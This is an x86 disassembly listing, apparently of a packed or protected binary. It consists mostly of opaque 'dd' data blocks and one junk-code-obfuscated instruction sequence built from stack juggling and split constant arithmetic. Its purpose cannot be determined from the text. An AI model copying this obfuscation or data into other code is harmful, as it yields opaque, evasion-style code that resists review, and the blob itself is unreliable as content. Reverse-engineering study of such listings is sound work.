dd 0B2A8CBE2h, 0C2E59A0h, 6712CCB2h, 17C4B4Dh, 0B3E10000h
dd 1916FAA6h, 3901D602h, 69F71E2Bh, 85E10463h, 32E5A2Ch
dd 5914FBB0h, 68D4A5D7h, 25647BB8h, 0EAF02DF9h, 0DE18EAC7h
dd 3D419436h, 0ADB37DE0h, 7E86306Ah, 9CB3063Bh, 0FC29C270h
dd 434931DEh, 0B5729EF6h, 35CD729Eh, 5205CDFFh, 0FAFFB7A0h
dd 7B9EFD03h, 391D625Ah, 337289DCh, 0DB9DA110h, 848ADD36h
dd 0AB654B25h, 1BD3BA94h, 0FBE1B315h, 0D5FB6841h, 2710D8EDh
dd 261F9h, 0EC8B000h, 833B22F4h, 0FAB29769h, 6D250EE0h
dd 0E59F8153h, 0D84D76CBh, 50223CF6h, 0C698B26Ch, 3F112BE3h
dd 0A5859F59h, 301A97BAh, 0F26421D4h, 8B452B58h, 45E22E86h
dd 88CB0B2Eh, 812D2E5Ah, 2F3D960Dh, 0ABC570ECh, 0C29CEB61h
dd 271E23DBh, 0E443CD21h, 11BCAACDh, 0E73A267Ah, 5A14F6D0h
dd 64705754h, 9AA75AB6h, 1A20DAC0h, 0C6DD5AC6h, 790CF7A3h
dd 0F9FE519Fh, 0A9C07FA1h, 588C4F86h, 3D54A7A5h, 0A9C37D63h
dd 0BADEF1D7h, 6AD1D409h, 0DD441DC8h, 0F674F1C1h, 1C4DF0Dh
dd 654D0000h, 0D8BF91ABh, 4F340620h, 0C2AB7D97h, 3C1EF00Ah
dd 0AA136882h, 0BFD99375h, 354F09EDh, 0AEC88063h, 223CF6DCh
dd 7D345742h, 0F921D42Eh, 0ECC6ED87h, 4F494F07h, 6C98AF69h
dd 2AD9C9E7h, 7BFA6EBh, 5A600B02h, 0EDD0AA0Dh, 33393035h
dd 0DBF231DFh, 5A02CAB8h, 0EA01542Eh, 6D732B10h, 4FD1110Bh
dd 4FB6D9F0h, 0C72E5CCCh, 9C835D74h, 0E2E8DFE4h, 74184483h
dd 5E2E92D9h, 0DDB3EA60h, 0AB1128D9h, 9FC5ABA5h, 0D3D9357Ch
dd 43EE4121h, 0B7715729h, 79B65AB2h, 0D9F72362h, 108EF56Ch
dd 4BC80B11h, 3326766Ch, 0B08AC9E0h, 100E13CBh, 7970752Dh
dd 7B331CCEh, 0DB957B75h, 4F09EFC1h, 4B5A0C38h, 54705564h
dd 67A9014Eh, 4672B1C8h, 6D9653ACh, 0A7EAF092h, 2E59A1CBh
dd 0A809E235h, 0C5EDEF99h, 0DCAEDCh, 4D350000h, 0C0A77993h
dd 371CEE08h, 0AA93657Fh, 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh
dd 1D37F1D5h, 96B0684Bh, 0A24DEC4h, 951C3F2Ah, 0E121D42Dh
dd 0ECC6D56Fh, 0F4BDE006h, 8A29BAA0h, 90878C37h, 4DEA368Ah
dd 0CBFC1336h, 207A2E5Ch, 0E09A7E3Dh, 3439E4DBh, 0EFA98B3Dh
dd 5B413F44h, 0CFB587A1h, 0A3C91015h, 0FE1A5F2Ah, 5C5A5F17h
dd 2B0FC179h, 886E6C71h, 0ABD2C9CEh, 0AFD61976h, 0EDD3257Ah
dd 61471933h, 0BBA4A2A7h, 4C5CE2AAh, 0C46F3068h, 664B6EADh
dd 101DA0E1h, 746AB7BDh, 0BAA0EA47h, 0E1407194h, 0E3361DA0h
dd 664C1E38h, 0E0941D40h, 97EA1DA0h, 0F01DDE93h, 37E242BFh
dd 1C0432h, 0C69A0000h, 8C254887h, 0F229BAA0h, 0A10DA49Fh
dd 0BD6929BAh, 4DB4AF9Ah, 0ABB15C12h, 432BECAAh, 0A0868489h
dd 0E3E1E6h, 61454348h, 0C2A4A2A7h, 23050308h, 7D666469h
dd 0DDC2C0C5h, 3B222025h, 836D7E83h, 8F5404ECh, 4832404h
dd 0D0680424h, 8900002Dh, 8957241Ch, 4C781E7h, 83000000h
dd 3C8704EFh, 34895C24h, 45BD5524h, 0F7314D75h, 0C4ED81DDh
dd 0F76FC413h, 3AED81DDh, 816E693Ah, 0F57D3FCDh, 35F5811Ch
dd 0BB29E822h, 10F333E9h, 545DEB31h, 8324348Bh, 815304C4h
dd 76282404h, 468F63BAh, 0ECB95108h, 8152EB6Ch, 511AC4F1h
dd 84E2931h, 24348B59h, 5E08950h, 4, 405h, 24048700h, 2434FF5Ch
dd 4C4815Bh, 0E9000000h, 0FFFA0C3Bh, 0EE194587h, 740BB8ADh
dd 0C50307E6h, 28B4E0FFh, 0C51066DBh, 452C3C5Fh, 58650174h
dd 256D2912h, 0DFBF7C25h, 0E9FF7312h, 5F894D32h, 0E0D41836h
dd 0BA8F1B18h, 0E7614717h, 3884529Eh, 430673F9h, 0EF6402B1h
dd 3BDE699Ch, 0FBE833F9h, 4ABB3553h, 109A73ABh, 874033A5h
dd 0FD043500h, 408503E9h, 0A90103ACh, 0D9451323h, 3BD33C0Eh
dd 9C4E504Fh, 66050B10h, 2A020960h, 0AF52C3Bh, 12EA213Ah
dd 0CC7B3747h, 0DE8133Bh, 0AC000000h, 148EBBECh, 0DF54A361h
dd 1441EB00h, 0EE9h, 0D82BDE00h, 6A223FD8h, 1CEC7F13h
dd 5B44034Bh, 7870Fh, 800F0000h, 1, 0D4C381F5h, 0B8000066h
dd 4F453F00h, 198968h, 0BA665E00h, 33FF5A54h, 66591FB6h
dd 8154A5B8h, 3E0CEDF1h, 0C2816604h, 0E981FF9Fh, 383D6585h
dd 50F181F5h, 513E8AF8h, 38FC18Bh, 0EB83C78Ah, 0D78B6604h
dd 1D850F4Eh, 66000000h, 1A03F081h, 32E9h, 0AD3AF300h
dd 527C9827h, 54F3D087h, 3DE28AEFh, 6B811153h, 0A687C281h
dd 0A3E927D6h, 0BCFFFFFFh, 0A67417D3h, 0F2806756h, 66AF2F85h
dd 7235040h, 0E9DF596Dh
dd 1Ah, 6DF3724Eh, 5 dup(0)
dd 0D5E90000h, 68000004h, 7E6771Dh, 0FA0ACEE9h, 779468FFh
dd 0C4E907E6h, 68FFFA0Ah, 7E678E3h, 0FA0ABAE9h, 0AA644CFFh
dd 1FD7BE90h, 964E3305h, 9C1AA7Ch, 813B1DEFh, 74A91267h
dd 0ECBED892h, 62344E08h, 0DBADC77Fh, 41213BF5h, 2A7E3356h
dd 86F821D4h, 2DECD5AFh, 0DCE18C44h, 9641F9DEh, 0ECC66E90h
dd 34A9F70Ah, 82877A5h, 4A61585Dh, 0BA388A27h, 9BA1F429h
dd 7699BFA1h, 29BA393Bh, 4045F043h, 88A25C42h, 6077B45Ch
dd 5A3C193Dh, 171C6F2Eh, 0DA33DDD0h, 0A2FF6021h, 0D4871E4Ch
dd 3053953h, 0C6830000h, 0B3F4899Ah, 1C22C865h, 2DCABAAh
dd 75B6119h, 29031A19h, 0E59F8342h, 393EE9E0h, 0BADD3C42h
dd 2E5A06ACh, 81C0D72Ah, 0DA09535Eh, 0D2D82B21h, 2E58EED5h
dd 7799CCFFh, 307EA1B8h, 633D490h, 8B91492Ch, 722C126Ch
dd 0A66AC2C7h, 764F7289h, 0F030F4C7h, 0B8A30E31h, 81DB2F34h
dd 8C37E29Ah, 0FBB59B75h, 68290FE1h, 0CEC5CA84h, 0C2DF4A23h
dd 7F0E094h, 2FBD9h, 0A6604800h, 1BD3BA8Ch, 924A2F01h
dd 5BDA678h, 7D3719EBh, 70A50E63h, 0E8BAD48Eh, 5E304A04h
dd 0D7A9C37Bh, 3D1D37F1h, 29822F52h, 8AFC21D4h, 0F04FD1F0h
dd 385B9AD9h, 29BAA079h, 69ACB205h, 2E5CD46Ch, 866077CAh
dd 99D0EAA4h, 0C7CDFF6Dh, 171D4A8Ah, 7C813B1Dh, 4B5C3F19h
dd 6C7B18F3h, 0EAF09B1Bh, 5F5125A7h, 20DAC0CEh, 28CCE247h
dd 0E00EF7DEh, 284h, 31DD7BFh, 78924A31h, 0EF09C1A6h, 627C341Dh
dd 0DAF4AE90h, 5E75C85h, 7B5F314Bh, 0F2D5A7C1h, 684E203Ah
dd 0C9B494AEh, 0D42A0BA6h, 67017321h, 3E94FD1h, 64879E49h
dd 2E5CD471h, 367D82D5h, 21D42B77h, 590865C6h, 0F2D7967Fh
dd 83898F3Ah, 53D29347h, 0B4D8BB95h, 0D4242091h, 58035621h
dd 0D2565C53h, 1ABh, 8B452B1Ch, 0E8A28886h, 355897CEh
dd 29BAA07Ch, 55A9AF02h, 32556CCBh, 2E5AA6CCh, 8FF2F74Ah
dd 6618D0B5h, 7CBFC57Dh, 21DA9B31h, 0F856AB0Ch, 53D4E0CAh
dd 716FDE0Ah, 0C8CC846Bh, 0C9812DC7h, 2AD7F171h, 0FB7F8530h
dd 2Ah, 0F04FD145h, 0A03CB6D9h, 6FC22E5Ah, 9F8A236Ah, 52B321DAh
dd 0E40746FDh, 21DA9FCDh, 4A5056A9h, 53D4EB1Ch, 0BF37h
dd 452B8100h, 0A688868Bh, 424701E5h, 0A0F5BCDFh, 2E8129BAh
dd 0D5D3D883h, 323035EFh, 3C7B924Ch, 8A4C7C10h, 0E9E48A61h
dd 29B9CAC8h, 0F3555BAEh, 92190BCh, 20F49F5Fh, 7914D71Ah
dd 896F29BAh, 8789B5CFh, 0A76D103Ch, 79E80E9Bh, 0BA40337Eh
dd 46F84B29h, 0E3FAA55Dh, 57B73CC0h, 0E8FF522Eh, 58722C0Eh
dd 11EAA486h, 0EDF1B2B2h, 35B4E2CBh, 0E000001h, 80526C26h
dd 0F5C7E199h, 6C3E5810h, 0DFB1CB83h, 0D42943FDh, 9A5436EBh
dd 10CAAE80h, 894124F6h, 0FDB79D6Fh, 0F51803E3h, 21D428BCh
dd 2BB650C2h, 42643649h, 8C904A30h, 4BF64C93h, 0BF795F31h
dd 0C2F6EA5h, 29BA6DA5h, 56787ED1h, 868B452Bh, 0D1E8A288h
dd 8B9C63A5h, 0CDD31544h, 0D2F5346Bh, 29B9B5DFh, 9C543D97h
dd 8997EBF1h, 799CC0A3h, 29B9B638h, 9540EB3Eh, 47A5B7Eh
dd 7DBC2E5Ah, 0D9FC575Ah, 0C6CC1F21h, 633D54A7h, 92ADC781h
dd 21D9FC1Bh, 0C6E09A80h, 0C9EC12F4h, 21D9FBE8h, 0BB7D8361h
dd 663D087Ah, 636813h, 46FEE7C1h, 624F4A41h, 1C21D9A9h
dd 7722DCC2h, 724771h, 0D1DD0000h, 8556974Fh, 0B4376D70h
dd 2CFF209h, 7C2E5C8Dh, 7D823C22h, 0D8D6DB86h, 4C1E38F2h
dd 60A7AC66h, 3BC975ECh, 3680DD12h, 0AA7C9650h, 7050AC4h
dd 5B370D1Eh, 3A7C7E3Fh, 49F49F57h, 5D374E44h, 240ABC74h
dd 686E656Ah, 664C9EF3h, 0DAC092ACh, 0DEB81B20h, 42393EF8h
dd 12123Ch, 24A80000h, 0AE664F29h, 789BB2A9h, 29BAA139h
dd 0CAECF245h, 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h
dd 308C2A4h, 64692305h, 0C0C57D66h, 2025DDC2h, 7E833B22h
dd 0E289526Dh, 4C281h, 0EA830000h, 24148704h, 2414895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
mov edi, 7C21472Dh
dec edi
add edi, 465E299Bh
inc edi
dec edi
xchg ebx, edi
inc ebx
xchg ebx, edi
sub edi, 0BA98FAA7h
push esp
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 8
add ebx, 7209334Ch
add ebx, eax
sub ebx, 7209334Ch
mov [ebx], edi
pop ebx
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_554887
; ---------------------------------------------------------------------------
dw 704h
dd 0B157CEB4h, 0E67A3DB8h, 0FFC50307h, 7FA7ADE0h, 42BE9E41h
dd 180B5856h, 0D163223Eh, 79E2BD74h, 66752547h, 0EEC34B22h
dd 0D890AA04h, 4FED1A3Eh, 42CD8A57h, 31B82F1Ah, 0B2BCDA05h
dd 45A4230Bh, 3539166h, 0E5AFE31Bh, 0FC5F5D68h, 95675738h
dd 8DA8764Dh, 6049920Ah, 931FB07Fh, 98D8D11h, 6A07E67Ch
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 4001C350h, 0ECB71025h, 25B86614h, 158D8948h
dd 6A07E018h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0DC2AC355h, 3119FEE3h, 0E9958BBCh
dd 0C707E033h, 0E0204985h, 746407h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0DA8FE7F4h
dd 80BF4503h, 0C76E3ED0h, 0E022C585h, 7, 50C68100h, 0FF3B0940h
dd 0E0085DB5h, 98E0F07h, 0F000000h, 386h, 0F38B6600h, 209195FFh
dd 0DB8107E0h, 0B8D631h, 0DE8h, 0A8126700h, 5B0C23E7h
dd 0E23CE1B5h, 0BF0FC22Fh, 6A5BF9h, 18A995FFh, 0C08B07E0h
dd 0E1671FEBh, 957610BEh, 0F5216921h, 97EB5E57h, 0F0D7E96Dh
dd 716508FEh, 182EB038h, 3DF94D7Bh, 13E8B8h, 0B8F90000h
dd 0AF38C6DAh, 7887EA09h, 0F63173D1h, 0FC5D38Ah, 0BD89609Bh
dd 7E02121h, 61F98B66h, 6880F5Bh, 1000000h, 0E0138DB5h
dd 0C6C38107h, 8B00005Ah, 0E8C92BD0h, 11h, 5EEE1F7h, 50911EE2h
dd 5E9A11AAh, 0B6E4D4B0h, 0C8816618h, 0FF5FAF93h, 8B661934h
dd 9605EFEh, 0E00101BDh, 0EDBD2307h, 6107E00Dh, 2F3EE81h
dd 958B0CA1h, 7E01729h, 5E6CF681h, 0C6816C1Ch, 67459B66h
dd 0D340D781h, 34895400h, 8800F0Bh, 57000000h, 860Fh, 89580000h
dd 0E02D699Dh, 4E98307h, 1A89BD29h, 0F98107E0h, 0FFFFA5ECh
dd 0FFA1850Fh, 0B589FFFFh, 7E02E65h, 7DE78D8Dh, 6A07E6h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0C57586C3h, 999D23F1h, 6007E015h, 7E98589h, 0CB8B07E0h
dd 158D8961h, 8B07E018h, 0E0295595h, 4985C707h, 2807E020h
dd 6A00006Fh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 560EC350h, 5A68503Fh, 22C585C7h
dd 7E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0C57E55C3h, 4CD7550Ch, 0FFCEBFF6h
dd 0E02A35B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0BF804A82h, 49958BE8h
dd 0FF07E02Fh, 0E0209195h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 642B7AE8h
dd 685121ADh, 0BFF38B66h, 4E9187D7h, 95FF006Ah, 7E018A9h
dd 7EEBC08Bh, 20113043h, 51CE46D9h, 0C9EF295Fh, 0A8F99E5Ch
dd 98FC2594h, 0A66BA53Bh, 70F51053h, 988E779Ah, 0A808F0Dh
dd 79376A6Eh, 13AF42F6h, 0C56A6452h, 7A964A70h, 0BD86F1C9h
dd 6EC90121h, 520E6FAFh, 25BE1C91h, 7CCBE80Eh, 0F407C497h
dd 0B84B8361h, 103A9CACh, 35166DB2h, 3AFE92ECh, 0FD2E4F8Ah
dd 501B60F2h, 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h, 2969F911h
dd 60755381h, 0E8175784h, 155399AAh, 595DB167h, 56AEB8B3h
dd 59AED132h, 56ABB1B0h, 56D5D032h, 0BFEAB377h, 5675B138h
dd 8FC68494h, 3A1A1CE8h, 610E0F88h, 5651B377h, 151DB132h
dd 728DF12Ch, 56EABBDAh, 0D90F3532h, 9E8B505h, 92FD892h
dd 814D769h, 5657D068h, 56ABA0DBh, 5201A132h, 0E14B48ABh
dd 76906775h, 0F9EE821Fh, 0D5520A07h, 56AEB135h, 56563D3Dh
dd 5653B132h, 56D54832h, 375FE152h, 84F4D768h, 56DBC804h
dd 51D0BE32h, 59AEB132h, 5657B0BBh, 56AB4432h, 56D95852h
dd 9C65B132h, 182DDB0Bh, 513EA18Eh, 0B03C8E06h, 56AEEB60h
dd 94E4B132h, 60CAE0AAh, 0A9BEAD3Eh, 0DFE5B132h, 5675B135h
dd 56BB383Dh, 74A5B132h, 0DBAEED6Ch, 5657B137h, 736A3054h
dd 5655BE09h, 37EAB132h, 589CB132h, 59BAB132h, 0C0E3DE2Dh
dd 8796664h, 0FAC3F059h, 59ABB14Ah, 56D5B0B9h, 56EA4D32h
dd 5675BADBh, 7CCA5432h, 0C85BFF50h, 6FD771D1h, 0DF58B132h
dd 56ABB133h, 59D5B1CEh, 56EAA9B8h, 56665832h, 0D02DB132h
dd 0DDEA74B9h, 7471D736h, 0BB4F9178h, 0D4F67557h, 0AFD5B199h
dd 0D3E5B132h, 5675B12Eh, 56A85952h, 0DEF5B132h, 0C4CBFABCh
dd 0C6F6D9AFh, 0B2BA5D50h, 50DDB82Fh, 37303A6Bh, 5E9CB132h
dd 42BAB132h, 31595B06h, 56698C5Ch, 565F5832h, 20C7B132h
dd 4FFEF4FBh, 56EA3396h, 54F8BE52h, 36BAB132h, 565DD053h
dd 56A9363Dh, 0D637B132h, 9C20BEE3h, 56DC5853h, 903AB132h
dd 2B300244h, 56E511B7h, 564E5832h, 87FEB132h, 20664229h
dd 0DDF185F6h, 78B2F52Bh, 944D5197h, 0BF75B136h, 56BAB122h
dd 2BE09BFFh, 0A8B68A7Fh, 0FDEB0652h, 8AC0FAF6h, 0BF20B132h
dd 56EAB137h, 1CC0EB94h, 0BFBAB10Bh, 565DB13Fh, 5E6545F3h
dd 64803A1Ah, 673CFEh, 0BFD5B1CFh, 56EAB13Dh, 0E4B0AD94h
dd 0EECAF2C2h, 1345B929h, 564A9EC6h, 57D4BE32h, 0AEABB132h
dd 56D5B6DBh, 2737832h, 21176CFFh, 0D1B5B132h, 565DB133h
dd 0AFAEB1C7h, 4FDFBE52h, 0BEABB132h, 56D5B121h, 0FCA862ABh
dd 0E4F9CB99h, 98C8323h, 26E91056h, 0DA190F1h, 3785063Dh
dd 5F42B132h, 10D5B132h, 7DE12A21h, 94BB0845h, 36BAB1CAh
dd 8A6240B3h, 0E9A1E5FFh, 0DE58D0CBh, 56ABB133h, 56D5B0C7h
dd 56EAB632h, 0E97AD132h, 37E4E6E4h, 44B4B132h, 83AEB132h
dd 977B5D9Dh, 1F93A152h, 0C0E523C4h, 0B8151FD2h, 51A249C9h
dd 56BBB138h, 565AB12Fh, 56A7B130h, 565FB342h, 0D7A4B132h
dd 56D5B130h, 56EAD052h, 5675BEDBh, 0A4BBB932h, 240E02Eh
dd 5191D253h, 0C8C57DBBh, 5942B132h, 0C8D5B132h, 0ED4AF04Dh
dd 0F8C732A0h, 16D670Bh, 565D29A2h, 56AEBDDBh, 59A77F32h
dd 0E1866D2Eh, 2E8F5AD1h, 56EC5898h, 674BB132h, 468998E9h
dd 50B4B132h, 0E4AEB132h, 0BA180906h, 36ABB1FEh, 0C7FD6E8Bh
dd 568B4413h, 5077F832h, 0D6BAB132h, 2C719EDEh, 0D610D755h
dd 5657D04Dh, 56B8333Dh, 0E0B5B132h, 56E058FAh, 77FB132h
dd 40464AB1h, 0F61975B4h, 1FAEB153h, 5657BD30h, 502FBE32h
dd 59D5B132h, 56EAB1BCh, 0D780D132h, 0FECE60C3h, 565DD02Eh
dd 56A1363Dh, 0BF37B132h, 56ABB13Ah, 3933372Ah, 381A566Dh
dd 56750F53h, 7CD7B132h, 9A320952h, 0A825A0E4h, 0BF07D053h
dd 56ABB13Eh, 55670C26h, 91408B2h, 2D7FC49Eh, 999418A4h
dd 0BD67D46Eh, 56A558AEh, 0A290B132h, 36C8232Fh, 0DA6A6F2Bh
dd 9F6BD7E7h, 509C884Ah, 0E0BAB132h, 14D09585h, 37F72C61h
dd 44BE2DA7h, 44ABB132h, 84C51D1h, 3CBFBD0Dh, 60A44969h
dd 94B71505h, 589530E1h, 0BF9EA41Ch, 5657B126h, 1DB1740Eh
dd 7133F01Ah, 9598CCE6h, 49CBC872h, 6D70845Eh, 565658AFh
dd 52B9B132h, 26E493DFh, 0CAA4DFDBh, 0ED43D097h, 0EB0D0AFh
dd 7B31E6A7h, 7F0A4250h, 0B381FE9Ch, 0CA33DA88h, 5657BADBh
dd 0CBDFF632h, 0CF355220h, 3E68E6Ch, 0BF8D74B2h, 56BAB134h
dd 5BF98604h, 373362F0h, 5273F5BBh, 5942E362h, 1DD5B132h
dd 710CF01Ah, 9507CCE6h, 4904C872h, 6752845Eh, 5A472D52h
dd 5257B132h, 261893DFh, 0CADADFDBh, 0D7C1CB97h, 5191F7FCh
dd 56B65831h, 0B69B132h, 0F0E12E0h, 439B4E2Ch, 0DD36AA18h
dd 0E8FD0E2h, 56EAD06Ah, 5675A0DBh, 5E60C332h, 0DBD28193h
dd 0D7A2E06Fh, 7F2F9E6Ah, 56ABA970h, 0EDB3D152h, 0E1E580AFh
dd 5C9CD0E2h, 17BAB132h, 69FD14DCh, 42E8BE88h, 5657D0CBh
dd 56A6383Dh, 0EEB5B132h, 2E299AD0h, 5675373Dh, 56DBB132h
dd 58B4D132h, 9AEB132h, 5563CA83h, 0FBB560Dh, 5A867396h
dd 7352D1D9h, 0D7257D4Ch, 71FF89E0h, 593CD020h, 56AEA4B2h
dd 59DDBE32h, 0BFABB132h, 56D5B138h, 0D1698CA0h, 0D02851C9h
dd 56BAD9A3h, 0AF5DB1C7h, 56AEBFDBh, 80376632h, 0B199D9CAh
dd 82C0239Fh, 56C44339h, 88CFD132h, 59BE0C16h, 563C698Dh
dd 56AE4832h, 565A363Dh, 5E42B132h, 0FD5B132h, 5E501F47h
dd 0BFF78DB3h, 56BAB122h, 95A8441Dh, 0B35EF526h, 0B9268368h
dd 0F6203213h, 562DB132h, 3A5CD132h, 561454B8h, 56AE5832h
dd 9F25B132h, 0E30C1235h, 3FB73690h, 4EA49D80h, 91AF3D90h
dd 0E08A71E3h, 37E006AAh, 0DFB5B132h, 565DB135h, 56AF323Dh
dd 56A2B132h, 5120BE32h, 36D5B132h, 826AD052h, 5915D090h
dd 56BAB2B2h, 89D6D732h, 6A463064h, 0F48356Eh, 0BFABB153h
dd 56D5B126h, 90FDF47Fh, 8FEE98A1h, 0BB363A8Dh, 68179903h
dd 3B808E46h, 3037B132h, 595C718Bh, 56D5B1BEh, 0D78AD032h
dd 3C808EC4h, 4653307Fh, 375803EEh, 4747B132h, 0D057B132h
dd 10360930h, 0E2EC5D78h, 358484FAh, 4D14ADD0h, 5B53B132h
dd 9D5DB132h, 516A264Eh, 1DD4D0C6h, 6C371D8Ah, 562DB132h
dd 0D78CD132h, 0DDC156DAh, 0BFDAD0F0h, 565DB139h, 2C39F37Ch
dd 0FF21BDE2h, 377578A3h, 0D6DAB132h, 56EAB12Eh, 56675952h
dd 0E537B132h, 44EF0E38h, 7D7D9F7h, 0B6DF5B62h, 0F232C852h
dd 372C3A6Ah, 5B03B132h, 0B375B132h, 28BE52B0h, 58E326D4h
dd 0B783E01h, 0AFAEB132h, 4642B132h, 0F9D5B132h, 0DEB0AA40h
dd 0C8FCC8C2h, 6A10EC2Eh, 56AD874Fh, 502ABE32h, 3657B132h
dd 0C31AFF85h, 0A3D5B153h, 5913B132h, 5675BDB5h, 5036BE32h
dd 595DB132h, 56AEB1B1h, 0BF57B132h, 56ABB13Ch, 5FBF319Dh
dd 0CFA2606Dh, 10D1CF7h, 56BA7219h, 0AE5DB1CAh, 0AFAEB1C7h
dd 0BF37B132h, 56ABB137h, 628A3741h, 37003B45h, 539CB132h
dd 8BAB132h, 0EE21EF1Ch, 5652B132h, 56435832h, 0BA6CB132h
dd 22AE4036h, 0C40F0908h, 492A262Fh, 1F598CDh, 5FB4170Ah
dd 1EAEB132h, 20EC0550h, 500FEC2Ch, 30B5B132h, 3626E78Dh
dd 0CAA23054h, 37100151h, 0BF5DB153h, 56AEB139h, 837E54FBh
dd 0C347D7A1h, 56F83C6Dh, 5A64BE32h, 5975B132h, 56BAB7BEh
dd 56DBBE32h, 56AEB132h, 56574932h, 36ABB1CBh, 0B72C1489h
dd 5666BE11h, 3775B132h, 5F53B132h, 0A5DB132h, 51B6EB39h
dd 1BDC3FFAh, 5653B132h, 56D35832h, 89B2B132h, 4044A2D6h
dd 5153B132h, 0A95DB132h, 0AC4BE120h, 565763C7h, 0BFABB1CEh
dd 56D5B122h, 249FC484h, 0ABD5828Bh, 0FAF884F6h, 1A6AF6BCh
dd 5E47B132h, 4157B132h, 0F8B37AD6h, 561B7215h, 5968BE32h
dd 0BF75B132h, 56BAB138h, 0FCD47C7Ah, 2C5A7B92h, 0BF37C0ADh
dd 56ABB13Eh, 7742FE5Bh, 37C008E9h, 4CEF24EBh, 56BE3F3Dh
dd 0E83BB132h, 56CF4DABh, 56475832h, 7F29B132h, 0FC430B26h
dd 55233D95h, 0AD25F9F0h, 56BA7A39h, 564D5852h, 994DB132h
dd 0C93CCDADh, 0D483884Ah, 12F812FAh, 9461BD99h, 0E913D153h
dd 0BC3B4C31h, 3C4050DDh, 0BFAEB153h, 5657B13Fh, 0DFAA5052h
dd 0EB09BD44h, 8E5501BDh, 3675B10Eh, 56BABBDAh, 0F02A1332h
dd 398D4995h, 0BF9C0500h, 56ABB13Ch, 93913634h, 23E65418h
dd 0CBC00EB1h, 0AEE425D3h, 365DB153h, 0BF5D3A54h, 5657B135h
dd 5123A6C5h, 37C532CAh, 0D8E5B132h, 5675B123h, 56B1353Dh
dd 50B4B132h, 9BAEB132h, 0DA0BC64Ah, 0BFABB15Eh, 56D5B120h
dd 0D07AB4F6h, 12F3271Ch, 3A32B38h, 3886D180h, 56AE991Bh
dd 5657BEDBh, 1A4F4B32h, 0B731D4FFh, 842C152Fh, 56A87A75h
dd 5D53B132h, 0C65DB132h, 53A3EF13h, 0B772427Dh, 30CBF2BEh
dd 56B479B9h, 8961D132h, 378E3A54h, 564FB132h, 50DBBE32h
dd 36AEB132h, 0AEDCD7C7h, 36ABB153h, 56D73E3Dh, 0EBAB132h
dd 5674363Dh, 374FB132h, 0D7B50252h, 4A5187EBh, 5657D06Fh
dd 56AB44CAh, 56D5BDDBh, 3E084632h, 0C911FCCEh, 9CEB4289h
dd 565D4D79h, 9E19BE52h, 5636EF63h, 572DBE32h, 0AFD5B132h
dd 0DFE5B132h, 5675B127h, 56BAA1DBh, 610C6732h, 0B3FD8014h
dd 0B41CCCE9h, 0EF073246h, 36D5B197h, 0BF8D59B2h, 5675B123h
dd 4CC29BF4h, 0FBC59F02h, 8C7932BFh, 3A743649h, 0D4A4D044h
dd 56D5B127h, 56EAA1DBh, 0D1BDF732h, 0F5139954h, 8E79A12Eh
dd 0F92CC8D9h, 3657B1E1h, 0D7713A54h, 19CDFAFDh, 56EAD031h
dd 5675BBDBh, 5CED3032h, 0A83AE519h, 59A3A787h, 5657B0B8h
dd 56AB4832h, 56D4333Dh, 5913B132h, 5675B6BCh, 5732BE32h
dd 0A35DB132h, 0D0A1B132h, 5657B13Eh, 0F9B40E52h, 966DD529h
dd 37F697EDh, 568CB132h, 56BA4832h, 0C8B03152h, 0F77B0B54h
dd 3657B153h, 56ABA3DAh, 5C5A2632h, 4FD71141h, 0AAC0AD44h
dd 61A743BAh, 0BF718E30h, 56AEB135h, 0C8F4D257h, 0DB8B8C4h
dd 37FC5DB2h, 5C03B132h, 2175B132h, 75F30B1h, 0ADF2CB96h
dd 5725BE3Ah, 0AE57B132h, 0D0A4B132h, 56D5B13Ah, 56E8323Dh
dd 3715B132h, 5D53B132h, 7B5DB132h, 36BB372Bh, 0A99E3156h
dd 56ABEA61h, 56D5BCDBh, 34330532h, 0B3BF8269h, 0D1B393DEh
dd 565D6763h, 56AF353Dh, 36AFB132h, 56AE303Dh, 0D7B3B132h
dd 59F40BEBh, 5675B5B9h, 7703D732h, 565DD038h, 9111BE52h
dd 37893A54h, 59CBB132h, 56B46285h, 5764BE32h, 0AF75B132h
dd 5A53B132h, 0E25DB132h, 86AE8F0Ch, 84B60260h, 56742EDAh
dd 56DD5832h, 4CA8B132h, 5D40CE80h, 56BAE58Fh, 565DB6DBh
dd 0AE0B4732h, 6B5042E3h, 0D4A4B132h, 56D5B138h, 9E55BE52h
dd 0F96E0089h, 0D7B5D047h, 565DB13Fh, 56AEB9DBh, 0E0BE5B32h
dd 0C64543F9h, 59D5B13Bh, 56EABDB8h, 56725832h, 0D7B132h
dd 5512242Eh, 36AEB11Ah, 0BF36D152h, 56ABB13Fh, 420563CBh
dd 0F11306A1h, 0A3A3A627h, 0E9DCD054h, 563C397Ch, 56AE4832h
dd 5650353Dh, 0D7A4B132h, 56D5B133h, 59EAB1C7h, 5675A5B3h
dd 5C53D132h, 2E5DB132h, 20B2789Dh, 47C4FF0Bh, 8820D773h
dd 0EA6FD153h, 37BF41E6h, 3015B132h, 0DDE8B28Ch, 565DD0F0h
dd 1603A52h, 5657A2DBh, 0D21C8932h, 9C9C25BEh, 51FB4E1h
dd 0C3F23CDBh, 6941A50Ah, 565DD06Bh, 0A3AEB1CBh, 5657A0DBh
dd 747A2832h, 0F4C9040Eh, 25EA269Ah, 21F65C84h, 56BAF633h
